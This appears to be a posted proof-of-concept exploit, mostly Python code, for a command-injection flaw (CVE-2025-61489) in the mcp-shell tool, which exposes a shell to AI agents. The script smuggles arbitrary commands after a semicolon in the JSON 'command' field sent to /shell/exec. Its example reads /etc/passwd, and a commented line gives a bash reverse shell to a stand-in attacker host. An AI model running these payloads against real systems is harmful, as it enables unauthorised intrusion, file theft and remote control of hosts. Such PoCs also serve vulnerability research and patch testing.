CVE-2025-61489: sonirico/mcp-shell shell_exec命令注入漏洞

import requests import json # CVE-2025-61489 PoC - mcp-shell command injection # Target: sonirico/mcp-shell v0.3.1 def exploit_mcp_shell(target_url, malicious_cmd): """ Exploit CVE-2025-61489: Command injection in shell_exec function Args: target_url: Base URL of the vulnerable mcp-shell service malicious_cmd: Malicious command to execute Returns: Response from the server """ # Construct the payload with command injection # Using semicolon to chain commands payload = f"echo test; {malicious_cmd}" # Example: Send request to shell_exec endpoint endpoint = f"{target_url}/shell/exec" headers = { "Content-Type": "application/json" } data = { "command": payload, "timeout": 30 } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) return response.json() except requests.exceptions.RequestException as e: return {"error": str(e)} # Example usage if __name__ == "__main__": target = "http://target:port" # Read /etc/passwd as proof of concept cmd = "cat /etc/passwd" result = exploit_mcp_shell(target, cmd) print(json.dumps(result, indent=2)) # Reverse shell example (for authorized testing only) # reverse_shell_cmd = "bash -i >& /dev/tcp/attacker-ip/port 0>&1" # exploit_mcp_shell(target, reverse_shell_cmd)